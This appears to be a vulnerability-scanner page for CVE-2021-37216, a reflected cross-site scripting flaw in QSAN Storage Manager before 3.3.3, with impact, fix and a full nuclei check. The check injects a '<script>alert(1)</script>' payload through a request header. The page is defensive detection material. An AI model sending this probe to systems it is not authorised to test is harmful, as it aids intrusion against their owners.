QSAN Storage Manager <3.3.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability. Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade QSAN Storage Manager to version 3.3.3 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/http_header.php
Positive when: !contains(tolower(header), 'x-xss-protection') AND contains "\"HTTP_X_TRIGGER_XSS\":\"<script>alert(1)</script>\"" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2021-37216 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-37216

info:
  name: QSAN Storage Manager <3.3.3 - Cross-Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability.  Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade QSAN Storage Manager to version 3.3.3 or later to mitigate this vulnerability.
  reference:
    - https://www.twcert.org.tw/tw/cp-132-4962-44cd2-1.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37216
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37216
    cwe-id: CWE-79
    epss-score: 0.0316
    epss-percentile: 0.88086
    cpe: cpe:2.3:o:qsan:xn8024r_firmware:3.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: qsan
    product: xn8024r_firmware
  tags: cve,cve2021,xss,qsan,storage,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/http_header.php"

    headers:
      X-Trigger-XSS: "<script>alert(1)</script>"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(header), 'x-xss-protection')"

      - type: word
        part: body
        words:
          - '"HTTP_X_TRIGGER_XSS":"<script>alert(1)</script>"'

      - type: word
        part: header
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from